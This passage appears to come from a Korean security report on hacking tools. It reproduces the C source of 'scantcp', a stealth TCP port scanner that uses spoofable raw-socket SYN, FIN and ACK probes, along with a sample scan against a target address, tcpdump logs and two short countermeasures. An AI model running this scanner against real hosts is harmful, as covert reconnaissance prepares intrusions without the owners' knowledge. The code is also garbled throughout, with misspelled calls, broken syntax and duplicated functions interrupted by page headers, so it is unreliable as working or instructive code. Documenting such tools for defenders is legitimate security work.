/* here comes the multiple choice select().

* well, there are 3 states:

Page 259: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* 1. already sent all the packets.

* 2. didn't send all the packet, but it's not time for another send

* 3. didn't send all the packets and it is time for aother send.

*/

if(nextport(1) !=NULL)

if(udiff > usecdelay)

{

FD_ZERO(&west);

FD_SET(rawsock , &west);

select(FD_SETSIZE, &rset, &west, NULL, NULL);

} else

{

del.tv_sec = 0;

del.tv_usec = usecdelay;

selec(FD_SETSIZE, &rset, NULL, NULL, &del);

}

else

select(FD_SETSIZE, &rset, NULL, NULL, NULL);

if(FD_ISSET(tcpsock, &rset)) /* process the reply */

{

fromlen = sizrof(from);

recvfrom(tcpsock, &buf, 3000, 0,

(struct sockaddr *)&from, &fromlen);

if(from.sin_addr.s_addr == destaddr.sin_addr.s_addr)

if(ntohs(tcp->th_port) == STCP_PORT)

{

printf("* got reply");

readport = portbynum(ntohs(tcp->th_sport));

if(readport == NULL)

printf("--- bad port");

else

{

sendthreshold = 0;

if(!readport->state)

{

Page 260: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

readport->ttl = ip->ttl;

readport->window = tcp->th_win;

if(tcp->th_flags & TH_RST)

{

readport->state = -1;

printf(" (RST)");

if (readport->ttl <65) printf("(short ttl)");

if (readport->window > 0) printf("(big window)");

}

else

if (tcp-th_flags & (TH_ACK | TH_SYN))

{

readport->state = 1;

printf(" (SYN+ACK)");

tcpip_send(rawsock, &destaddr,

spoof_addr, destaddr.sin_addr.s_addr,

STCP_PORT, readport->n,

TH_RST,

readport->seq++, 0,

512,

NULL,

0);

}

else

{

readport->stat=2;

printf(" (UNEXPECTED)");

tcpip_send(rawsock, &destaddr,

spoof_addr, destaddr.sin_addr.s_addr,

STCP_PORT, readport->n,

TH_RST,

readport->seq++, 0,

512,

NULL,

0);

}

}

Page 261: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

else

printf(" (duplicate)");

}

printf("₩n");

fflush(stdout);

}

}

if(nextport(1) != NULL)

if(FD_ISSET(rawsock, &wset)) /* process the sends */

{

readport = nextport(0);

destaddr.sin_port = htons(readport->n);

printf("* sending to port %d ", ntohs(destaddr.sin_port));

readport->seq = lrand48();

readport->sends++;

tcpip_send(rawsock, &destaddr,

spoof_addr, destaddr.sin_addr.s_addr,

STCP_PORT, ntohs(destaddr.sin_port),

scanflags,

readport->seq++, lrand48(),

512,

NULL,

0);

gettimeofday(&waitsend, NULL);

FD_ZERO(&west);

printf("₩n");

if((++sendthreshold > STCP_THRESHOLD) && (slowfactor))

{

`printf("₩n₩n -- THRESHOLD CROSSED - SLOWING UP SENDS₩n₩n");

usecdelay *= slowfactor;

Page 262: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sendthreshold = 0;

}

}

}

}

Page 263: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

포트스캔_stealth-*-해킹도구

PortScan_stealth-*-hack_tool

Page 264: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

PortScan_stealth-*-hack_tool

포트스캔_stealth-*-해킹도구

문서번호

KH98-027

문서제목

포트스캔_ACK-*-해킹도구(PortScan_ACK-*-hack_tool)

관련 응용프로그램

관련 운영체제

취약점 분석

취약점 이해

- TCP/IP의 연결방식(Connection Mechanism)을 이용하여 각 포트의 개방 여부를 탐지하

는 것으로 일반적인 포트스캐너와는 달리 연결을 맺지 않고 SYN에 대한 ACK만으로 포트

의 연결 여부를 판단하므로 netstat나 tcpwrapper에 잡히지 않는다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

- 첨부

해킹시험 결과

./scan 0 203.227.32.14 203.227.32.15 20-30 5000 5

scantcp

version 1.32

# response address : 203.227.32.14(203.227.32.14)

# target address : 203.227.32.15(203.227.32.15)

# ports : 20-30

Page 265: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

# (total number of ports) : 11

# delay between sends : 5000 microseconds

# delay : 5 seconds

# flood detection threshold : 8unanswered sends

# slow factor : 10

# max sends per port : 3

* BEGINNING SCAN

* sending to port 20

* got reply (RST) (short ttl)

* sending to port 21

* got reply (SYN+ACK)

* sending to port 22

Page 266: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* got reply (RST) (short ttl)

* sending to port 23

* got reply (SYN+ACK)

* sending to port 24

* got reply (RST) (short ttl)

* sending to port 25

* got reply (SYN+ACK)

* sending to port 26

* got reply (RST) (short ttl)

* sending to port 27

* got reply (RST) (short ttl)

* sending to port 28

* got reply (RST) (short ttl)

* sending to port 29

* got reply (RST) (short ttl)

* sending to port 30

* got reply (RST) (short ttl)

*SCANNING IS OVER

# port 21 is listening

# port 23 is listening

# port 25 is listening

# total ports open or maybe open: 3

13:02:54.036562 203.227.32.14.1234 > target.ftp: S

758783491:758783491(0) win 512

13:02:54.036853 target.ftp > 203.227.32.14.1234: S

1324672000:1324672000(0) ack 758783492 win 4096 <mss 1460>

13:02:54.037138 203.227.32.14.1234 > target.ftp: R

758783492:758783492(0) win 0

13:02:54.037424 203.227.32.14.1234 > target.ftp: R

758783492:758783492(0) win 512

13:02:54.057356 203.227.32.14.1234 > target.22: S 684387517:684387517(0)

win 512

13:02:54.057601 target.22 > 203.227.32.14.1234: R 0:0(0) ack 684387518

win 0

13:02:54.077370 203.227.32.14.1234 > target.telnet: S

33463914:33463914(0) win 512

Page 267: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

13:02:54.077707 target.telnet > 203.227.32.14.1234: S

1324736000:1324736000(0) ack 33463915 win 4096 <mss 1460>

13:02:54.077960 203.227.32.14.1234 > target.telnet: R

33463915:33463915(0) win 0

13:02:54.078211 203.227.32.14.1234 > target.telnet: R

33463915:33463915(0) win 512

13:02:54.085381 flat.32795 > 203.227.32.14.telnet: .ack 566 win 8760

(DF)

13:02:54.085965 203.227.32.14.telnet > flat.32795: P 566:712(146) ack 22

win 15360 (DF)

13:02:54.086204 203.227.32.14.1234 > target.24: S 342241519:342241519(0)

win 512

13:02:54.086447 target.24 > 203.227.32.14.1234: R 0:0(0) ack 342241520

win 0

13:02:54.107373 203.227.32.14.1234 > target.smtp: S

1483920592:1483920592(0) win 512

13:02:54.107695 target.smtp > 203.227.32.14.1234: S

1324800000:1324800000(0) ack 1483920593 win 4096 <mss 1460>

13:02:54.107949 203.227.32.14.1234 > target.smtp: R

1483920593:1483920593(0) win 0

13:02:54.108200 203.227.32.14.1234 > target.smtp: R

1483920593:1483920593(0) win 512

13:02:54.107346 203.227.32.14.1234 > target.26: S

1932422408:1932422408(0) win 512

13:02:54.127576 target.26 > 203.227.32.14.1234: R 0:0(0) ack 1932422409

win 0

13:02:54.135425 flat.32795 > 203.227.32.14.telnet: .ack 712 win 8760

(DF)

13:02:54.136029 203.227.32.14.telnet > flat.32795: P 712:866(154) ack 22

win 15360 (DF)

13:02:54.136253 203.227.32.14.1234 > target.27: S 341603450:341603450(0)

win 512

13:02:54.136484 target.27 > 203.227.32.14.1234: R 0:0(0) ack 341603451

win 0

13:02:54.157346 203.227.32.14.1234 > target.28: S

1297389768:1297389768(0) win 512

13:02:54.157566 target.28 > 203.227.32.14.1234: R 0:0(0) ack 1297389769

win 0

13:02:54.177348 203.227.32.14.1234 > target.29: S 579758561:579758561(0)

win 512

Page 268: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

13:02:54.177560 target.29 > 203.227.32.14.1234: R 0:0(0) ack 579758562

win 0

13:02:54.185427 flat.32795 > 203.227.32.14.telnet: .ack 866 win 8760

(DF)

13:02:54.186051 203.227.32.14.telnet > flat.32795: P 866:1028(162) ack

22 win 15360 (DF)

13:02:54.186252 203.227.32.14.1234 > target.30: S 630072926:630072926(0)

win 512

13:02:54.186483 target.30 > 203.227.32.14.1234: R 0:0(0) ack 630072927

win 0

13:02:54.235394 flat.32795 > 203.227.32.14.telnet: .ack 1028 win 8760

(DF)

13:02:54.235870 203.227.32.14.telnet > flat.32795: P 1028:1082(54) ack

22 win 15360 (DF)

13:02:54.285431 flat.32795 > 203.227.32.14.telnet: .ack 1028 win 8760

(DF)

13:02:59.276639 203.227.32.14.telnet > flat.32795: P 1082:1102(20) ack

22 win 15360 (DF)

13:02:59.277089 203.227.32.14.1234 > target.ftp-data: R

851401619:851401619(0) win 512

13:02:59.277171 203.227.32.14.1234 > target.ftp: R

758783493:758783493(0) win 512

13:02:59.277254 203.227.32.14.1234 > target.22: R 684387518:684387518(0)

win 512

13:02:59.277334 203.227.32.14.1234 > target.telnet: R

33463916:33463916(0) win 512

13:02:59.277416 203.227.32.14.1234 > target.24: R 342241520:342241520(0)

win 512

13:02:59.277504 203.227.32.14.1234 > target.smtp: R

1483920594:1483920594(0) win 512

13:02:59.277585 203.227.32.14.1234 > target.26: R

1932422409:1932422409(0) win 513:02:59.277672 203.227.32.14.1234 >

target.27: R 341603451:341603451(0) win 512

13:02:59.277753 203.227.32.14.1234 > target.28: R

1297389769:1297389769(0) win 512

13:02:59.277838 203.227.32.14.1234 > target.29: R 579758562:579758562(0)

win 512

13:02:59.277921 203.227.32.14.1234 > target.30: R 630072927:630072927(0)

win 512

Page 269: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

- 네트워크 모니터를 이용하여 네트워크 활동을 점검한다.

- SYN 패킷 로그 프로그램을 설치하여 운영한다.

Page 270: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련소스

/*

* scantcp.c

*

* version 1.32

*

* Scans for listening TCP ports by sending packets to them and waiting for

* replies. Relys upon the TCP specs and some TCP implementation bugs found

* when viewing tcpdump logs.

*

* As always, portions recycled(eventually, with some stops) from n00k.c

* (Wow, that little piece of code I wrote long ago still servers as the base

* interface for newer tools)

*

* Technique:

* 1. Active scanning: not supported - why bother.

*

* 2. Half-open scanning:

* a. send SYN

* b. if reply is SYN|ACK send RST, port is listening

* c. if reply is RST, port is not listening

*

* 3. Stealth scanning: (works on nearly all systems tested)

* a. sends FIN

* b if RST is returned, not listening.

* c. otherwise, port is probably listening

*

* (This bug in many TCP implementations is not limited to FIN only; in fact

* many other flag combinations will have similar effects. FIN alone was

* selected because always returns a plain RST when not listening, and the

* code here was fit to handle RSTs already so it took me like 2 minutes

* to add this scanning method)

*

Page 271: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* 4. Stealth scanning: (may not work on all systems)

* a. sends ACK

* b. waits for RST

* c. if TTL is low or window is not 0, port is probably listening.

*

* (stealth scanning was created after I watched some tcpdump logs with

* these symptoms. The low-TTL implementation bug is currently believed

* to appear on Linux only, the non-zero window on ACK seems to exists on

* all BSDs.)

*

* CHANGES:

*

* 0. (v1.0)

* - First code, worked but was put aside since I didn't have time nor

* need to continue developing it.

* 1. (v1.1)

* - BASE CODE MOSTLY REWRITTEN(the old code wasn't that maintainable)

* - Added code to actually enforce the usecond-delay without usleep()

* (replies might be lost if usleep()ing)

* 2. (v1.2)

* - Added another stealth scanning method (FIN).

* Tested and passed on:

* AIX 3

* AIX 4

* IRIX 5.3

* SunOS 4.1.3

* System V 4.0

* Linux

* FreeBSD

* Solaris

*

* Tested and failed on:

* Cisco router with services on (IOS 11.0)

*

* 3. (v1.21)

* - Code commented since I intend on abandoning this for a while.

*

* 4. (v1.3)

* - Resending for ports that weren't replied for.

* (took some modifications in the internal structures. this also

Page 272: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* makes it possible to use non-linear port ranges

* (say 1-1024 and 6000))

*

* 5. (v1.31)

* - Flood detection - will slow up the sending rate if not replies are

* received for STCP_THRESHOLD consecutive sends. Saves a lot of resends

* on easily-flooded networks.

*

* 6. (v1.32)

* - Multiple port ranges support.

* The format is: <start-end>|<num>[,<start-end>|<num>,...]

*

* Examples: 20-26,113

* 20-100, 113-150, 6000, 6660-6669

*

* PLANNED: (when I have time for this)

*

* (v2.x) - Multiple flag combination selections, smart algorithm to point

* out uncommon replies and cross-check them with another flag

*

*/

#define RESOLVE_QUIET

#include <stdio.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_tcp.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <signal.h>

#include <errno.h>

#include "resolve.c"

#include "tcp_pkt.c"

Page 273: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define STCP_VERSION "1.32"

#define STCP_PORT 1234 /* Our local port. */

#define STCP_SENDS 3

#define STCP_THRESHOLD 8

#define STCP_SLOWFACTOR 10

/* GENERAL ROUTINES */

void banner(void)

{

printf("₩nscantcp₩n");

printf("version %s₩n",STCP_VERSION);

}

void usage(const char *progname)

{

printf("₩nusage: ₩n");

printf("%s<method><source><dest><ports><udelay><delay>[sf]₩n₩n",progname);

printf("₩t<method> : 0: half-open scanning (type 0, SYN)₩n");

printf("₩t 1: stealth scanning (type 1, FIN)₩n");

printf("₩t : 2: stealth scanning (type 2, ACK)₩n");

printf("₩t<source> : source address (this host)₩n");

printf("₩t<dest> : target to scan₩n");

printf("₩t<ports> : ports/and or ranges to scan - eg:

21-30,113,6000₩n");

printf("₩t<udelay> : microseconds to wait between TCP sends₩n");

printf("₩t<delay> : seconds to wait for TCP replies₩n");

printf("₩t[sf] : slow-factor in case sends are detected to be too

fast₩n₩n");

}

/* OPTION PARSING etc */

unsigned char *dest_name;

unsigned char *spoof_name;

struct sockaddr_in destaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned long usecdelay;

unsigned waitdelay;

int slowfactor = STCP_SLOWFACTOR;

Page 274: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct portrec /* the port-data structure */

{

unsigned n;

int state;

unsigned char ttl;

unsigned short int window;

unsigned long int seq;

char sends;

} *ports;

char *portstr;

unsigned char scanflags;

int done;

int rawsock; /* socket descriptors */

int tcpsock;

int lastidx = 0; /* last sent index */

int maxports; /* total number of ports */

void timeout(int signum) /* timeout handler */

{ /* this is actually the data */

int someopen = 0; /* analyzer function. werd. */

unsigned lastsent;

int checklowttl = 0;

struct portrec *p;

printf("* SCANNING IS OVER₩n₩n');

fflush(stdout);

done = 1;

for (lastsent = 0; lastsent<maxports; lastsent++)

{

Page 275: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

p=ports+lastsent;

if (p->state==-1)

if (p->ttl >64)

{

checklowttl = 1;

break;

}

}

/* the above loop checks whether there's need to report low-ttl packets

*/

for (lastsent = 0;lastsent<maxports;lastsent++)

{

p=ports+lastsent;

destaddr.sin_port=htons(p->n);

tcpip_send(rawsock,&destaddr,

spoof_addr,destaddr.sin_addr.s_addr,

STCP_PORT,ntohs(destaddr.sin_port),

TH_RST,

p->seq++, 0,

512,

NULL,

0);

} /* just RST -everything- sent */

/* this inclued packets a reply */

/* (even RST) was recieved for */

for (lastsent = 0; lastsent<maxports; lastsent++)

{ /* here is the data analyzer */

p=ports+lastsent;

switch (scanflags)

{

case TH_SYN:

swich(p->state)

{

Page 276: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

case -1: break;

case 1 : printf("#port %d is listening.₩n",p->n);

someopen++;

break;

case 2 : printf("#port %d maybe listening (unknown response).₩n", p->n);

someopen++;

break;

default: printf("#port %d needs to be rescanned.₩n"p->n);

}

break;

case TH_ACK:

switch (p->state)

{

case -1:

if (((p->ttl<65) && checklowttl) || (p->window>0))

{

printf("#port %d maybe listening",p->n);

if (p->ttl<65) printf ("(low ttl)“);

if (p->window>0) printf("(big window)");

printf(".₩n");

someopen++;

}

break;

case 1:

case 2:

printf("# port %d has an unexpected response.₩n", p->n);

break;

default:

printf("# port %d needs to be rescanned.₩n", p->n);

}

break;

case TH_FIN:

switch (p->state)

{

case -1:

break;

case 0:

printf("# port %d maybe open.₩n",p->n);

someopen++;

break;

Page 277: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

default:

printf("# port %d has an unexpected response.₩n",p->n);

}

}

}

printf(" ₩n");

printf("# total ports open or maybe open: %d₩n₩n",someone);

free(ports);

exit(0); /* heh. */

}

int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("error:can't resolve the %s.₩n", desc);

return -1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

void give_info(void)

{

printf("# response address : %s

(%s)₩n",spoof_name,inet_ntoa(spoof_addr));

printf("# target address : %s

(%s)₩n",dest_name,inet_ntoa(dest_addr));

printf("#ports : %s₩n",portstr);

printf("# (total number of ports) : %d₩n",maxports);

printf("# delay between sends : %lu microseconds₩n",usecdelay);

printf("# delay : %u seconds₩n",waitdelay);

printf("# flood detection threshold : %d unanswered

sends₩n",STCP_THRESHOLD);

printf("# slow factor : %d₩n",slowfactor);

printf("# max sends per port : %d₩n₩n",STCP_SENDS);

}

Page 278: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int parse_args(int argc, char *argv[])

{

if (strrchr(argv[0],'/')!=null)

argv[0]=strrchr(argv[0],'/' + 1;

if (argc<7) {

printf("%s: not enough arguments₩n",argv[0]);

return -1;

}

switch (atoi(argv[1]))

{

case 0 : scanflags = TH_SYN;

break;

case 1 : scanflags = TH_FIN;

break;

case 2 : scanflags = TH_ACK;

break;

default : printf("%s: unknown scanning method₩n",argv[0]);

return -1;

}

spoof_name = argv[2];

dest_name = argv[3];

portstr = argv[4];

usecdelay=atoi(argv[5]);

waitdelay=atoi(argv[6]);

if (argc>7) slowfactor = atoi(argv[7]);

if ((usecdelay==0) && (slowfactor > 0))

{

printf("%s: adjusting microsecond-delay to 1usec.₩n");

Page 279: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

usecdelay++;

}

return 0;

}

/* MAIN */

int build_ports(char *str) /* build the initial port-database */

{

int i;

int n;

struct portrec *p;

int sport;

char *s;

s =str;

maxports = 0;

n = 0;

while (*s != '₩0')

{

switch(*s)

{

case '0':

case '1':

case '2':

case '3':

case '4':

case '5':

case '6':

case '7':

case '8':

case '9':

n *= 10;

n += (*s - '0');

break;

case '-':

if (n==0) return -1;

sport = n;

n=0;

Page 280: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

break;

case ',':

if(n==0) return -1;

if(sport !=0)

{

if (sport >=n) return -1;

maxports += n-sport;

sport= 0;

} else

maxports++;

n=0;

break;

}

s++;

}

if (n==0) return -1;

if (sport != 0)

{

if (sport >=n) return -1;

maxports +=n-sport;

sport =0;

}

else

maxports++;

maxports+=2;

if ((ports=(struct portrec *)malloc((maxports)*sizeof(struct

portrec))) == NULL)

{

fprintf(stderr,"₩nerror: not enough memory for port

detabase₩n₩n");

exit(1);

}

s = str;

maxports = 0;

n = 0;

Page 281: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

while (*s != '₩0')

{

switch (*s)

{

case '1':

case '2':

case '3':

case '4':

case '5':

case '6':

case '7':

case '8':

case '9':

n *= 10;

n += (*s - '0');

break;

case '-':

if (n==0) return -1;

sport = n;

n = 0;

break;

case ',':

if(n==0) return -1;

if(sport !=0)

{

if (sport >=n) return -1;

while (sport <=n)

{

for (i=0; i<maxports; i++)

if ((ports+1)->n ==sport) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",sport);

else

{

(ports+maxports)->n = sport;

maxports++;

}

Page 282: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sport++;

}

sport=0;

} else

{

for (i=0; i<maxports; i++)

if ((ports+i)->n == n) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",n);

else

{

(ports+maxports)->n = n;

maxports++;

}

}

n = 0;

break;

}

s++;

}

if(n==0) return -1;

if(sport !=0)

{

if (sport >=n) return -1;

while (sport <=n)

{

for (i=0;i<maxports;i++)

if ((ports+1)->n ==sport) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",sport);

else

{

(ports+maxports)->n = sport;

maxports++;

}

sport++;

}

Page 283: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

sport=0;

} else

{

for (i=0; i<maxports; i++)

if ((ports+i)->n == n) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",n);

else

{

(ports+maxports)->n = n;

maxports++;

}

}

printf("₩n");

for(i=0; i<maxports; i++)

{

p = ports+i;

p->state = 0;

p->sends = 0;

}

return 0;

}

struct portrec *portbynum(int num)

{

int i=0;

while ( ((ports+i)->n != num) && (i<maxports) ) I++;

if (i == maxports) return NULL;

return(ports+i);

}

Page 284: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct portrec *nextport(char save)

{

struct portrec *p = ports;

int doneports = 0;

int oldlastidx = lastidx;

while (doneports != maxports)

{

p=ports+lastidx;

if ((p->state != 0) || (p->sends == STCP_SENDS))

{

doneports++;

lastidx++;

lastidx %= maxports;

}

else

break;

}

if (save)

lastidx = oldlastidx;

else

lastidx = (lastidx + 1) % maxports;

if (doneports == maxports) return NULL;

return p;

}

inline unsigned long usecdiff(struct timeval *a, struct timeval *b)

{

unsigned long s;

s= b->tv_sec - a->tv_sec;

s *= 1000000

Page 285: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if((ports+i)->n == n) break;

if(i<maxports-1)

printf("notice: duplicate port - %d₩n",n);

else

{

(ports+maxports)->n = n;

maxports++;

}

}

n=0;

break;

}

s++;

}

if(n==0) return -1;

if(sport !=0)

{

if(sport >= n) return -1;

while(sports <= n)

{

for(i=0;i<maxports;i++)

if ((ports+i)->n == sport) break;

if(i<maxports-1)

printf("notice: duplicate port - %d₩n",sport);

else

{

(ports+maxports) ->n = sport;

maxports++;

}

sport++;

}

sport = 0;

} else

{

for(i=0;i<maxports;i++)

if((ports+i)->n == n) break;

Page 286: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(i<maxports-1)

printf("notice: duplicate port - %d₩n",n);

else

{

(ports+maxports)->n = n;

maxports++;

}

}

printf("₩n");

for(i=0;i<maxports;i++)

{

p=ports+i;

p->state=0;

p->sends=0;

}

return 0;

}

sturct portrec *portbynum(int num)

{

int i = 0;

while((ports+i)->n != num) && (i<maxports)) i++;

if(i == maxports) return NULL;

return (ports+i);

}

struct portec *nextport(char save)

{

struct portec *p = ports;

int doneports = 0;

int oldlastidx = lastidx;

while(doneports != maxports)

{

Page 287: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

p=ports+lastdix;

if((p->state !=0) || (p->sends == STCP_SENDS))

{

doneports++;

lastidx++;

lastidx %=maxports;

}

else

break;

}

if(save)

lastidx = oldlastidx;

else

lastidx= (lastidx +i) % maxports;

if(doneports ==maxports) return NULL;

return p;

}

inline unsigned long usecdiff(struct timeval *a, struct timeval *b)

{

unsigned long s;

s = b->tv_sec - a->tv_sec;

s *= 1000000;

s += b->tv_usec - a->tv_usec;

return s; /* return the stupid microsecond

diff */

}

void main(int argc, char *argv[])

{

int lastsend = 0;

char buf[3000];

struct iphdr *ip = (struct iphdr *)(buf);

struct tcphdr *tcp = (struct tcphdr *)(buf+sizeof(struct iphdr));

Page 288: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct sockaddr_in from;

int fromlen;

struct portrec *readport;

fd_set rset, west;

struct timeval waitsend, now, del;

unsigned long udiff;

int sendthreshold = 0;

barnner();

if(parse_args(argc,argv))

{

usage(argv[0]);

return;

}

if(resolve_one(dest_name,

&dest_addr,

"destination host")) exit(1);

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

if(resolve_one)spoof_name,

&spoof_addr,

"source host")) exit(1);

if(build_ports(portstr)==-1)

{

printf("₩n%s: bad port string₩n",argv[0]);

usage(argv[0]);

return;

}

give_info();

Page 289: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if((tcpsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

{

printf("₩nerror: couldn't get TCP raw socket₩n₩n");

exit(1);

}

if((rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)

{

printf("₩nerror: couldn't get raw socket₩n₩n");

exit(1);

}

/* well, let's get to it. */

done = 0 ;

printf("* BEGINNING SCAN ₩n");

fflush(stdout);

gettimeofday(&waitsend,NULL);

while(!done)

{

if(nextport(1) == NULL)

{

alarm(0); /* no more sends, now we just */

signal(SIGALRM, timeout); /* to wait <waitdelay> seconds */

alarm(waitdelay); /* before resetting and giving */

} /* results. */

FD_ZERO(&rset);

FD_SET(tcpsock , &rset);

gettimeofday(&now , NULL)

udiff = usecdiff(&waitsend , &now);

/* here comes the multiple choice select().

* well, there are 3 states:

* 1. already sent all the packets.

